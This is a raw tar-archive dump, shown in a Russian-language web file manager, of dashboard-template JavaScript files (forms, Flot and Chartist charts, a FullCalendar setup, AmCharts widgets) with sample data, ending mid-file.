Файловый менеджер - Редактировать - /home/emeraadmin/public_html/4d695/js.tar
Назад
forms.js 0000644 00000004272 15167670232 0006246 0 ustar 00 (function($) { 'use strict'; $(function() { $('.file-upload-browse').on('click', function() { var file = $(this).parent().parent().parent().find('.file-upload-default'); file.trigger('click'); }); $('.file-upload-default').on('change', function() { $(this).parent().find('.form-control').val($(this).val().replace(/C:\\fakepath\\/i, '')); }); }); $(document).ready(function() { $(".select2").select2(); $('#inlinedatetimepicker').datetimepicker({ inline: true, sideBySide: true }); $('#datepicker').datetimepicker({ format: 'L' }); $('#timepicker').datetimepicker({ format: 'LT' }); $('#tags').tagsinput('items'); $('.repeater').repeater({ // (Optional) // "defaultValues" sets the values of added items. The keys of // defaultValues refer to the value of the input's name attribute. // If a default value is not specified for an input, then it will // have its value cleared. defaultValues: { 'text-input': 'foo' }, // (Optional) // "show" is called just after an item is added. The item is hidden // at this point. If a show callback is not given the item will // have $(this).show() called on it. show: function() { $(this).slideDown(); }, // (Optional) // "hide" is called when a user clicks on a data-repeater-delete // element. The item is still visible. "hide" is passed a function // as its first argument which will properly remove the item. // "hide" allows for a confirmation step, to send a delete request // to the server, etc. If a hide callback is not given the item // will be deleted. hide: function(deleteElement) { if (confirm('Are you sure you want to delete this element?')) { $(this).slideUp(deleteElement); } }, // (Optional) // Removes the delete button from the first list item, // defaults to false. isFirstItemUndeletable: true }); $('.html-editor').summernote({ height: 300, tabsize: 2 }); }) })(jQuery); chart-flot.js 0000644 00000047355 15167670232 0007174 0 ustar 00 "use strict"; $(document).ready(function() { $(window).on('resize', function() { categoryChart(); strackingChart(); pieChart(); donutChart(); }); categoryChart(); strackingChart(); pieChart(); donutChart(); /*categories chart*/ function categoryChart() { var data = [ ["January", 20], ["February", 8], ["March", 4], ["April", 13], ["May", 5], ["June", 9] ]; $.plot("#placeholder", [data], { series: { bars: { show: true, barWidth: 0.6, align: "center", } }, xaxis: { mode: "categories", tickLength: 0, tickColor: '#f5f5f5', }, colors: ["#01C0C8", "#83D6DE"], labelBoxBorderColor: "red" }); }; /*Stracking chart*/ function strackingChart() { var d1 = []; for (var i = 0; i <= 10; i += 1) { d1.push([i, parseInt(Math.random() * 30)]); /*yellow*/ } var d2 = []; for (var i = 0; i <= 10; i += 1) { d2.push([i, parseInt(Math.random() * 30)]); /*blue*/ } var d3 = []; for (var i = 0; i <= 10; i += 1) { d3.push([i, parseInt(Math.random() * 30)]); /*red*/ } var stack = 0, bars = false, lines = true, steps = false; function plotWithOptions() { $.plot("#placeholder1", [d1, d2, d3], { series: { stack: stack, lines: { show: lines, fill: true, steps: steps }, bars: { show: bars, barWidth: 0.6 } } }); } plotWithOptions(); }; /*pie chart-Withour legend*/ function pieChart() { var data1 = [{ label: "Sales & Marketing", data: 2034, color: "#25A6F7" }, { label: "Research & Development", data: 16410, color: "#01C0C8" }, { label: "General & Administration", data: 4670, color: "#42E1FE" }]; $.plot('#placeholder2', data1, { series: { pie: { show: true } }, legend: { show: false } }); }; /*Donut Hole*/ function donutChart() { var data2 = [{ label: "Sales & Marketing", data: 2034, color: "#FB9678" }, { label: "Research & Development", data: 16410, color: "#4F5467" }, { label: "General & Administration", data: 4670, color: "#01C0C8" }]; $.plot('#placeholder3', data2, { series: { pie: { innerRadius: 0.7, show: true }, legend: { show: true, position: "center" } } }); } // series types chart $(function() { var d1 = []; for (var i = 0; i < 14; i += 0.5) { d1.push([i, Math.sin(i)]); } var d2 = [ [0, 3], [4, 8], [8, 5], [9, 13] ]; var d3 = []; for (var i = 0; i < 14; i += 0.5) { d3.push([i, Math.cos(i)]); } var d4 = []; for (var i = 0; i < 14; i += 0.1) { d4.push([i, Math.sqrt(i * 10)]); } var d5 = []; for (var i = 0; i < 14; i += 0.5) { d5.push([i, Math.sqrt(i)]); } var d6 = []; for (var i = 0; i < 14; i += 0.5 + Math.random()) { d6.push([i, Math.sqrt(2 * i + Math.sin(i) + 5)]); } $.plot("#seriestypes", [{ data: d1, lines: { show: true, fill: true } }, { data: d2, bars: { show: true } }, { data: d3, points: { show: true } }, { data: d4, lines: { show: true } }, { data: d5, lines: { show: true }, points: { show: true } }, { data: d6, lines: { show: true, steps: true } }]); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " – "); }); //real-time update $(function() { // We use an inline data source in the example, usually data would // be fetched from a server var data = [], totalPoints = 300; function getRandomData() { if (data.length > 0) data = data.slice(1); // Do a random walk while (data.length < totalPoints) { var prev = data.length > 0 ? data[data.length - 1] : 50, y = prev + Math.random() * 10 - 5; if (y < 0) { y = 0; } else if (y > 100) { y = 100; } data.push(y); } // Zip the generated y values with the x values var res = []; for (var i = 0; i < data.length; ++i) { res.push([i, data[i]]) } return res; } // Set up the control widget var updateInterval = 30; $("#updateInterval").val(updateInterval).change(function() { var v = $(this).val(); if (v && !isNaN(+v)) { updateInterval = +v; if (updateInterval < 1) { updateInterval = 1; } else if (updateInterval > 2000) { updateInterval = 2000; } $(this).val("" + updateInterval); } }); var plot = $.plot("#realtimeupdate", [getRandomData()], { series: { shadowSize: 0 // Drawing is faster without shadows }, yaxis: { min: 0, max: 100 }, xaxis: { show: false } }); function update() { plot.setData([getRandomData()]); // Since the axes don't change, we don't need to call plot.setupGrid() plot.draw(); setTimeout(update, updateInterval); } update(); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " – "); }); //Percentiles $(function() { var males = { "8%": [ [2, 20.0], [3, 30.3], [4, 40.0], [5, 50.5], [6, 60.7], [7, 70.6], [8, 80.6], [9, 90.3], [10, 100.3], [11, 110.4], [12, 146.5], [13, 151.7], [14, 159.9], [15, 165.4], [16, 167.8], [17, 168.7], [18, 169.5], [19, 168.0] ], "90%": [ [2, 96.8], [3, 105.2], [4, 113.9], [5, 120.8], [6, 127.0], [7, 133.1], [8, 139.1], [9, 143.9], [10, 151.3], [11, 161.1], [12, 164.8], [13, 173.5], [14, 179.0], [15, 182.0], [16, 186.9], [17, 185.2], [18, 186.3], [19, 186.6] ], "25%": [ [2, 89.2], [3, 94.9], [4, 104.4], [5, 111.4], [6, 117.5], [7, 120.2], [8, 127.1], [9, 132.9], [10, 136.8], [11, 144.4], [12, 149.5], [13, 154.1], [14, 163.1], [15, 169.2], [16, 170.4], [17, 171.2], [18, 172.4], [19, 170.8] ], "10%": [ [2, 86.9], [3, 92.6], [4, 99.9], [5, 107.0], [6, 114.0], [7, 113.5], [8, 123.6], [9, 129.2], [10, 133.0], [11, 140.6], [12, 145.2], [13, 149.7], [14, 158.4], [15, 163.5], [16, 166.9], [17, 167.5], [18, 167.1], [19, 165.3] ], "mean": [ [2, 91.9], [3, 98.5], [4, 107.1], [5, 114.4], [6, 120.6], [7, 124.7], [8, 131.1], [9, 136.8], [10, 142.3], [11, 150.0], [12, 154.7], [13, 161.9], [14, 168.7], [15, 173.6], [16, 175.9], [17, 176.6], [18, 176.8], [19, 176.7] ], "75%": [ [2, 94.5], [3, 102.1], [4, 110.8], [5, 117.9], [6, 124.0], [7, 129.3], [8, 134.6], [9, 141.4], [10, 147.0], [11, 156.1], [12, 160.3], [13, 168.3], [14, 174.7], [15, 178.0], [16, 180.2], [17, 181.7], [18, 181.3], [19, 182.5] ], "85%": [ [2, 96.2], [3, 103.8], [4, 111.8], [5, 119.6], [6, 125.6], [7, 131.5], [8, 138.0], [9, 143.3], [10, 149.3], [11, 159.8], [12, 162.5], [13, 171.3], [14, 177.5], [15, 180.2], [16, 183.8], [17, 183.4], [18, 183.5], [19, 185.5] ], "50%": [ [2, 91.9], [3, 98.2], [4, 106.8], [5, 114.6], [6, 120.8], [7, 125.2], [8, 130.3], [9, 137.1], [10, 141.5], [11, 149.4], [12, 153.9], [13, 162.2], [14, 169.0], [15, 174.8], [16, 176.0], [17, 176.8], [18, 176.4], [19, 177.4] ] }; var females = { "15%": [ [2, 84.8], [3, 93.7], [4, 100.6], [5, 105.8], [6, 113.3], [7, 119.3], [8, 124.3], [9, 131.4], [10, 136.9], [11, 143.8], [12, 149.4], [13, 151.2], [14, 152.3], [15, 155.9], [16, 154.7], [17, 157.0], [18, 156.1], [19, 155.4] ], "90%": [ [2, 95.6], [3, 104.1], [4, 111.9], [5, 119.6], [6, 127.6], [7, 133.1], [8, 138.7], [9, 147.1], [10, 152.8], [11, 161.3], [12, 166.6], [13, 167.9], [14, 169.3], [15, 170.1], [16, 172.4], [17, 169.2], [18, 171.1], [19, 172.4] ], "25%": [ [2, 87.2], [3, 95.9], [4, 101.9], [5, 107.4], [6, 114.8], [7, 121.4], [8, 126.8], [9, 133.4], [10, 138.6], [11, 146.2], [12, 152.0], [13, 153.8], [14, 155.7], [15, 158.4], [16, 157.0], [17, 158.5], [18, 158.4], [19, 158.1] ], "10%": [ [2, 84.0], [3, 91.9], [4, 99.2], [5, 105.2], [6, 112.7], [7, 118.0], [8, 123.3], [9, 130.2], [10, 135.0], [11, 141.1], [12, 148.3], [13, 150.0], [14, 150.7], [15, 154.3], [16, 153.6], [17, 155.6], [18, 154.7], [19, 153.1] ], "mean": [ [2, 90.2], [3, 98.3], [4, 105.2], [5, 112.2], [6, 119.0], [7, 125.8], [8, 131.3], [9, 138.6], [10, 144.2], [11, 151.3], [12, 156.7], [13, 158.6], [14, 160.5], [15, 162.1], [16, 162.9], [17, 162.2], [18, 163.0], [19, 163.1] ], "75%": [ [2, 93.2], [3, 101.5], [4, 107.9], [5, 116.6], [6, 122.8], [7, 129.3], [8, 135.2], [9, 143.7], [10, 148.7], [11, 156.9], [12, 160.8], [13, 163.0], [14, 165.0], [15, 165.8], [16, 168.7], [17, 166.2], [18, 167.6], [19, 168.0] ], "85%": [ [2, 94.5], [3, 102.8], [4, 110.4], [5, 119.0], [6, 125.7], [7, 131.5], [8, 137.9], [9, 146.0], [10, 151.3], [11, 159.9], [12, 164.0], [13, 166.5], [14, 167.5], [15, 168.5], [16, 171.5], [17, 168.0], [18, 169.8], [19, 170.3] ], "50%": [ [2, 90.2], [3, 98.1], [4, 105.2], [5, 111.7], [6, 118.2], [7, 125.6], [8, 130.5], [9, 138.3], [10, 143.7], [11, 151.4], [12, 156.7], [13, 157.7], [14, 161.0], [15, 162.0], [16, 162.8], [17, 162.2], [18, 162.8], [19, 163.3] ] }; var dataset = [{ label: "Female mean", data: females["mean"], lines: { show: true }, color: "rgb(255,50,50)" }, { id: "f15%", data: females["1%"], lines: { show: true, lineWidth: 0, fill: false }, color: "rgb(255,50,50)" }, { id: "f25%", data: females["3%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(255,50,50)", fillBetween: "f15%" }, { id: "f50%", data: females["6%"], lines: { show: true, lineWidth: 0.5, fill: 0.4, shadowSize: 0 }, color: "rgb(255,50,50)", fillBetween: "f25%" }, { id: "f75%", data: females["8%"], lines: { show: true, lineWidth: 0, fill: 0.4 }, color: "rgb(255,50,50)", fillBetween: "f50%" }, { id: "f85%", data: females["12%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "rgb(255,50,50)", fillBetween: "f75%" }, { label: "Male mean", data: males["mean"], lines: { show: true }, color: "#01C0C8producxt" }, { id: "m15%", data: males["10%"], lines: { show: true, lineWidth: 0, fill: false }, color: "#99E6E9" }, { id: "m25%", data: males["12%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "#99E6E9", fillBetween: "m15%" }, { id: "m50%", data: males["20%"], lines: { show: true, lineWidth: 0.5, fill: 0.4, shadowSize: 0 }, color: "rgb(50,50,255)", fillBetween: "m25%" }, { id: "m75%", data: males["22%"], lines: { show: true, lineWidth: 0, fill: 0.4 }, color: "#99E6E9", fillBetween: "m50%" }, { id: "m85%", data: males["25%"], lines: { show: true, lineWidth: 0, fill: 0.2 }, color: "#99E6E9", fillBetween: "m75%" }]; $.plot($("#percentiles"), dataset, { xaxis: { tickDecimals: 0 }, yaxis: { tickFormatter: function(v) { return v + " cm"; } }, legend: { position: "se" } }); // Add the Flot version string to the footer $("#footer").prepend("Flot " + $.plot.version + " – "); }); }); calendar.js 0000644 00000012760 15167670232 0006672 0 ustar 00 $(document).ready(function(t, e, i) { function t(t) { t.each(function() { var t = { title: $.trim($(this).text()) }; $(this).data("eventObject", t), $(this).draggable({ zIndex: 1070, revert: !0, revertDuration: 0 }) }) } t($("#external-events div.external-event")); var e = new Date, i = e.getDate(), n = e.getMonth(), r = e.getFullYear(); $("#calendar").fullCalendar({ header: { left: "prev,next today", center: "title", right: "month,agendaWeek,agendaDay" }, buttonText: { today: "today", month: "month", week: "week", day: "day" }, events: [{ title: "All Day Event", start: new Date(r, n, 1), className: "bg-purple" }, { title: "Long Event", start: new Date(r, n, i - 5), end: new Date(r, n, i - 2), className: "bg-yellow" }, { title: "Meeting", start: new Date(r, n, i, 10, 30), allDay: !1, className: "bg-red" }, { title: "Lunch", start: new Date(r, n, i, 12, 0), end: new Date(r, n, i, 14, 0), allDay: !1, className: "bg-navy" }, { title: "Birthday Party", start: new Date(r, n, i + 1, 19, 0), end: new Date(r, n, i + 1, 22, 30), allDay: !1, className: "bg-green" }, { title: "Click for Google", start: new Date(r, n, 28), end: new Date(r, n, 29), url: "http://google.com/", className: "bg-lime" }], editable: !0, selectable: !0, droppable: !0, drop: function(t, e) { var i = $(this).data("eventObject"), n = $.extend({}, i); n.start = t, n.allDay = e, n.backgroundColor = $(this).css("background-color"), n.borderColor = $(this).css("border-color"), $("#calendar").fullCalendar("renderEvent", n, !0), $("#drop-remove").is(":checked") && $(this).remove() }, eventClick: function(calEvent, jsEvent, view) { var $this = this; $("#editEname").val(calEvent.title) $("#editStarts").datetimepicker("date", calEvent.start._d) $("#editEvent").modal({ backdrop: 'static' }); $("#editEvent").find('.delete-event').show().end().find('.delete-event').unbind('click').click(function() { $("#calendar").fullCalendar('removeEvents', function(ev) { return (ev._id == calEvent._id); }); $("#editEvent").modal('hide'); }); $("#editEvent").find('form').on('submit', function() { calEvent.title = $("#editEname").val(); calEvent.start = new Date($("#editStarts").data("datetimepicker").date()) $("#calendar").fullCalendar('updateEvent', calEvent); $("#editEvent").modal('hide'); return false; }); }, select: function(start, end, allDay) { var $this = this; $("#addEvent").modal({ backdrop: 'static' }); $("#eventStarts").datetimepicker("date", start) var form = $("#addEventForm"); $("#addEvent").find('.delete-event').hide().end().find('.save-event').show().end().find('.save-event').unbind('click').click(function() { form.submit(); }); $("#addEvent").find('form').on('submit', function() { var title = form.find("#eventName").val(); var start = form.find("#eventStarts").val(); var end = form.find("input[name='ending']").val(); var categoryClass = form.find("#addColor [type=radio]:checked").data("color"); if (title !== null && title.length != 0) { $("#calendar").fullCalendar('renderEvent', { title: title, start: start, end: end, allDay: false, className: categoryClass }, true); $("#addEvent").modal('hide'); } else { alert('You have to give a title to your event'); } return false; }); $("#calendar").fullCalendar('unselect'); } }); var a = "#3c8dbc"; $("#color-chooser-btn"); $("#color-chooser > li > a").on("click", function(t) { t.preventDefault(), a = $(this).css("color"), $("#add-new-event").css({ "background-color": a, "border-color": a }) }), $("#add-new-event").on("click", function(e) { e.preventDefault(); var i = $("#new-event").val(); if (0 != i.length) { var n = $("<div />"); n.css({ "background-color": a, "border-color": a, color: "#fff" }).addClass("external-event"), n.html(i), $("#external-events").prepend(n), t(n), $("#new-event").val("") } }); }) chart-chartist.js 0000644 00000025045 15167670232 0010041 0 ustar 00 "use strict"; $(document).ready(function() { new Chartist.Line('#lineChart', { labels: ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'], series: [ [12, 9, 7, 8, 5], [2, 1, 3.5, 7, 3], [1, 3, 4, 5, 6] ] }, { fullWidth: true, chartPadding: { right: 40 } }); new Chartist.Line('#lineChart_area', { labels: [1, 2, 3, 4, 5, 6, 7, 8], series: [ [5, 9, 7, 8, 5, 3, 5, 4] ] }, { low: 0, showArea: true }); var chart = new Chartist.Line('#lineChart_animation', { labels: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], series: [ [12, 9, 7, 8, 5, 4, 6, 2, 3, 3, 4, 6], [4, 5, 3, 7, 3, 5, 5, 3, 4, 4, 5, 5], [5, 3, 4, 5, 6, 3, 3, 4, 5, 6, 3, 4], [3, 4, 5, 6, 7, 6, 4, 5, 6, 7, 6, 3] ] }, { low: 0 }); // Let's put a sequence number aside so we can use it in the event callbacks var seq = 0, delays = 80, durations = 500; // Once the chart is fully created we reset the sequence chart.on('created', function() { seq = 0; }); // On each drawn element by Chartist we use the Chartist.Svg API to trigger SMIL animations chart.on('draw', function(data) { seq++; if (data.type === 'line') { // If the drawn element is a line we do a simple opacity fade in. This could also be achieved using CSS3 animations. data.element.animate({ opacity: { // The delay when we like to start the animation begin: seq * delays + 1000, // Duration of the animation dur: durations, // The value where the animation should start from: 0, // The value where it should end to: 1 } }); } else if (data.type === 'label' && data.axis === 'x') { data.element.animate({ y: { begin: seq * delays, dur: durations, from: data.y + 100, to: data.y, // We can specify an easing function from Chartist.Svg.Easing easing: 'easeOutQuart' } }); } else if (data.type === 'label' && data.axis === 'y') { data.element.animate({ x: { begin: seq * delays, dur: durations, from: data.x - 100, to: data.x, easing: 'easeOutQuart' } }); } else if (data.type === 'point') { data.element.animate({ x1: { begin: seq * delays, dur: durations, from: data.x - 10, to: data.x, easing: 'easeOutQuart' }, x2: { begin: seq * delays, dur: durations, from: data.x - 10, to: data.x, easing: 'easeOutQuart' }, opacity: { begin: seq * delays, dur: durations, from: 0, to: 1, easing: 'easeOutQuart' } }); } else if (data.type === 'grid') { // Using data.axis we get x or y which we can use to construct our animation definition objects var pos1Animation = { begin: seq * delays, dur: durations, from: data[data.axis.units.pos + '1'] - 30, to: data[data.axis.units.pos + '1'], easing: 'easeOutQuart' }; var pos2Animation = { begin: seq * delays, dur: durations, from: data[data.axis.units.pos + '2'] - 100, to: data[data.axis.units.pos + '2'], easing: 'easeOutQuart' }; var animations = {}; animations[data.axis.units.pos + '1'] = pos1Animation; animations[data.axis.units.pos + '2'] = pos2Animation; animations['opacity'] = { begin: seq * delays, dur: durations, from: 0, to: 1, easing: 'easeOutQuart' }; data.element.animate(animations); } }); // For the sake of the example we update the chart every time it's created with a delay of 10 seconds chart.on('created', function() { if (window.__exampleAnimateTimeout) { clearTimeout(window.__exampleAnimateTimeout); window.__exampleAnimateTimeout = null; } window.__exampleAnimateTimeout = setTimeout(chart.update.bind(chart), 12000); }); var data = { labels: ['W1', 'W2', 'W3', 'W4', 'W5', 'W6', 'W7', 'W8', 'W9', 'W10'], series: [ [1, 2, 4, 8, 6, -2, -1, -4, -6, -2] ] }; var options = { high: 10, low: -10, axisX: { labelInterpolationFnc: function(value, index) { return index % 2 === 0 ? value : null; } } }; new Chartist.Bar('#barChart_bipolar', data, options); var data = { labels: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], series: [ [5, 4, 3, 7, 5, 10, 3, 4, 8, 10, 6, 8], [3, 2, 9, 5, 4, 6, 4, 6, 7, 8, 7, 4] ] }; var options = { seriesBarDistance: 10 }; var responsiveOptions = [ ['screen and (max-width: 640px)', { seriesBarDistance: 5, axisX: { labelInterpolationFnc: function(value) { return value[0]; } } }] ]; new Chartist.Bar('#barChart_overlapping', data, options, responsiveOptions); new Chartist.Bar('#barChart_responsive', { labels: ['Quarter 1', 'Quarter 2', 'Quarter 3', 'Quarter 4'], series: [ [5, 4, 3, 7], [3, 2, 9, 5], [1, 5, 8, 4], [2, 3, 4, 6], [4, 1, 2, 1] ] }, { // Default mobile configuration stackBars: true, axisX: { labelInterpolationFnc: function(value) { return value.split(/\s+/).map(function(word) { return word[0]; }).join(''); } }, axisY: { offset: 20 } }, [ // Options override for media > 400px ['screen and (min-width: 400px)', { reverseData: true, horizontalBars: true, axisX: { labelInterpolationFnc: Chartist.noop }, axisY: { offset: 60 } }], // Options override for media > 800px ['screen and (min-width: 800px)', { stackBars: false, seriesBarDistance: 10 }], // Options override for media > 1000px ['screen and (min-width: 1000px)', { reverseData: false, horizontalBars: false, seriesBarDistance: 15 }] ]); var data = { series: [5, 3, 4] }; var sum = function(a, b) { return a + b }; new Chartist.Pie('#pieChart', data, { labelInterpolationFnc: function(value) { return Math.round(value / data.series.reduce(sum) * 100) + '%'; } }); new Chartist.Pie('#guageChart', { series: [20, 10, 30, 40] }, { donut: true, donutWidth: 60, startAngle: 270, total: 200, showLabel: false }); var chart = new Chartist.Pie('#donutChart_animated', { series: [10, 20, 50, 20, 5, 50, 15], labels: [1, 2, 3, 4, 5, 6, 7] }, { donut: true, showLabel: false }); chart.on('draw', function(data) { if (data.type === 'slice') { // Get the total path length in order to use for dash array animation var pathLength = data.element._node.getTotalLength(); // Set a dasharray that matches the path length as prerequisite to animate dashoffset data.element.attr({ 'stroke-dasharray': pathLength + 'px ' + pathLength + 'px' }); // Create animation definition while also assigning an ID to the animation for later sync usage var animationDefinition = { 'stroke-dashoffset': { id: 'anim' + data.index, dur: 1000, from: -pathLength + 'px', to: '0px', easing: Chartist.Svg.Easing.easeOutQuint, // We need to use `fill: 'freeze'` otherwise our animation will fall back to initial (not visible) fill: 'freeze' } }; // If this was not the first slice, we need to time the animation so that it uses the end sync event of the previous animation if (data.index !== 0) { animationDefinition['stroke-dashoffset'].begin = 'anim' + (data.index - 1) + '.end'; } // We need to set an initial value before the animation starts as we are not in guided mode which would do that for us data.element.attr({ 'stroke-dashoffset': -pathLength + 'px' }); // We can't use guided mode as the animations need to rely on setting begin manually // See http://gionkunz.github.io/chartist-js/api-documentation.html#chartistsvg-function-animate data.element.animate(animationDefinition, false); } }); // For the sake of the example we update the chart every time it's created with a delay of 8 seconds chart.on('created', function() { if (window.__anim21278907124) { clearTimeout(window.__anim21278907124); window.__anim21278907124 = null; } window.__anim21278907124 = setTimeout(chart.update.bind(chart), 10000); }); }); widget-chart.js 0000644 00000066474 15167670232 0007516 0 ustar 00 'use strict'; $(document).ready(function() { // pageview and prod sale end floatchart() $(window).on('resize', function() { floatchart(); }); $('#mobile-collapse').on('click', function() { setTimeout(function() { floatchart(); }, 700); }); // Round Chart statustc card start var chart = new Chartist.Pie('#status-round-1', { series: [5, 7] }, { donut: true, donutWidth: 5, showLabel: false }); var chart = new Chartist.Pie('#status-round-2', { series: [7, 5] }, { donut: true, donutWidth: 5, showLabel: false }); var chart = new Chartist.Pie('#status-round-3', { series: [11, 5] }, { donut: true, donutWidth: 5, showLabel: false }); var chart = new Chartist.Pie('#status-round-4', { series: [11, 10] }, { donut: true, donutWidth: 5, showLabel: false }); // Round Chart statustc card end // Total revenue start var chart = new Chartist.Pie('#tot-rev-chart', { series: [11, 10] }, { donut: true, donutWidth: 5, showLabel: false }); // Total revenue end // seo ecommerce start $(function() {}); // seo ecommerce end // sale-diff var chart = AmCharts.makeChart("sale-diff", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "fontSize": 0, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }], "graphs": [{ "id": "g3", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 0.3, "type": "column", "title": "Actual Sales", "valueField": "sales2", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }, { "id": "g4", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 1, "type": "column", "title": "Target Sales", "valueField": "sales1", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "minorGridEnabled": true, }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "export": { "enabled": true }, "dataProvider": [{ "date": "2013-01-16", "sales1": 5, "sales2": 8 }, { "date": "2013-01-17", "sales1": 4, "sales2": 6 }, { "date": "2013-01-18", "sales1": 5, "sales2": 2 }, { "date": "2013-01-19", "sales1": 8, "sales2": 9 }, { "date": "2013-01-20", "sales1": 9, "sales2": 6 }] }); // deal-analytic-chart var chart = AmCharts.makeChart("deal-analytic-chart", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }, { "id": "v2", "gridAlpha": 0, "autoGridCount": false }], "graphs": [{ "id": "g1", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#2ed8b6", "title": "Market Days", "useLineColorForBulletBorder": true, "valueField": "market1", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }, { "id": "g2", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#e95753", "title": "Market Days ALL", "useLineColorForBulletBorder": true, "valueField": "market2", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "dashLength": 1, "minorGridEnabled": true }, "legend": { "useGraphSettings": true, "position": "top" }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "dataProvider": [{ "date": "2013-01-16", "market1": 71, "market2": 75 }, { "date": "2013-01-17", "market1": 80, "market2": 84 }, { "date": "2013-01-18", "market1": 78, "market2": 83 }, { "date": "2013-01-19", "market1": 85, "market2": 88 }, { "date": "2013-01-20", "market1": 87, "market2": 85 }, { "date": "2013-01-21", "market1": 97, "market2": 88 }, { "date": "2013-01-22", "market1": 93, "market2": 88 }, { "date": "2013-01-23", "market1": 85, "market2": 80 }, { "date": "2013-01-24", "market1": 90, "market2": 85 }] }); // allocation map start var map = AmCharts.makeChart("allocation-map", { "type": "map", "theme": "light", "colorSteps": 10, "dataProvider": { "map": "usaLow", "areas": [{ "id": "US-AL", "value": 4447100 }, { "id": "US-AK", "value": 626932 }, { "id": "US-AZ", "value": 5130632 }, { "id": "US-AR", "value": 2673400 }, { "id": "US-CA", "value": 33871648 }, { "id": "US-CO", "value": 4301261 }, { "id": "US-CT", "value": 3405565 }, { "id": "US-DE", "value": 783600 }, { "id": "US-FL", "value": 15982378 }, { "id": "US-GA", "value": 8186453 }, { "id": "US-HI", "value": 1211537 }, { "id": "US-ID", "value": 1293953 }, { "id": "US-IL", "value": 12419293 }, { "id": "US-IN", "value": 6080485 }, { "id": "US-IA", "value": 2926324 }, { "id": "US-KS", "value": 2688418 }, { "id": "US-KY", "value": 4041769 }, { "id": "US-LA", "value": 4468976 }, { "id": "US-ME", "value": 1274923 }, { "id": "US-MD", "value": 5296486 }, { "id": "US-MA", "value": 6349097 }, { "id": "US-MI", "value": 9938444 }, { "id": "US-MN", "value": 4919479 }, { "id": "US-MS", "value": 2844658 }, { "id": "US-MO", "value": 5595211 }, { "id": "US-MT", "value": 902195 }, { "id": "US-NE", "value": 1711263 }, { "id": "US-NV", "value": 1998257 }, { "id": "US-NH", "value": 1235786 }, { "id": "US-NJ", "value": 8414350 }, { "id": "US-NM", "value": 1819046 }, { "id": "US-NY", "value": 18976457 }, { "id": "US-NC", "value": 8049313 }, { "id": "US-ND", "value": 642200 }, { "id": "US-OH", "value": 11353140 }, { "id": "US-OK", "value": 3450654 }, { "id": "US-OR", "value": 3421399 }, { "id": "US-PA", "value": 12281054 }, { "id": "US-RI", "value": 1048319 }, { "id": "US-SC", "value": 4012012 }, { "id": "US-SD", "value": 754844 }, { "id": "US-TN", "value": 5689283 }, { "id": "US-TX", "value": 20851820 }, { "id": "US-UT", "value": 2233169 }, { "id": "US-VT", "value": 608827 }, { "id": "US-VA", "value": 7078515 }, { "id": "US-WA", "value": 5894121 }, { "id": "US-WV", "value": 1808344 }, { "id": "US-WI", "value": 5363675 }, { "id": "US-WY", "value": 493782 }] }, "areasSettings": { "autoZoom": true }, "export": { "enabled": true } }); var chart = AmCharts.makeChart("allocation-chart", { "type": "pie", "startDuration": 0, "theme": "light", "labelRadius": 0, "pullOutRadius": 0, "labelText": "", "colorField": "color", "legend": { // "enabled":false, }, "innerRadius": "70%", "dataProvider": [{ "country": "Lithuania", "litres": 501.9, "color": "#85C5E3" }, { "country": "Czech Republic", "litres": 301.9, "color": "#6AA3C4" }, { "country": "Ireland", "litres": 201.1, "color": "#6097B9" }, { "country": "india", "litres": 220.1, "color": "#4E81A4" }], "valueField": "litres", }); // allocation map end }); function floatchart() { //flot options var options = { legend: { show: false }, series: { label: "", curvedLines: { active: true, nrSplinePoints: 20 }, }, tooltip: { show: true, content: "x : %x | y : %y" }, grid: { hoverable: true, borderWidth: 0, labelMargin: 0, axisMargin: 0, minBorderMargin: 0, }, yaxis: { min: 0, max: 30, color: 'transparent', font: { size: 0, } }, xaxis: { color: 'transparent', font: { size: 0, } } }; $.plot($("#pbc-1"), [{ data: [ [0, 8], [1, 10], [2, 20], [3, 10], [4, 27], [5, 15], [6, 20], [7, 24], [8, 20] ], color: "#4099ff", bars: { show: true, lineWidth: 1, fill: true, fillColor: { colors: [{ opacity: 0.7 }, { opacity: 0.7 }] }, barWidth: 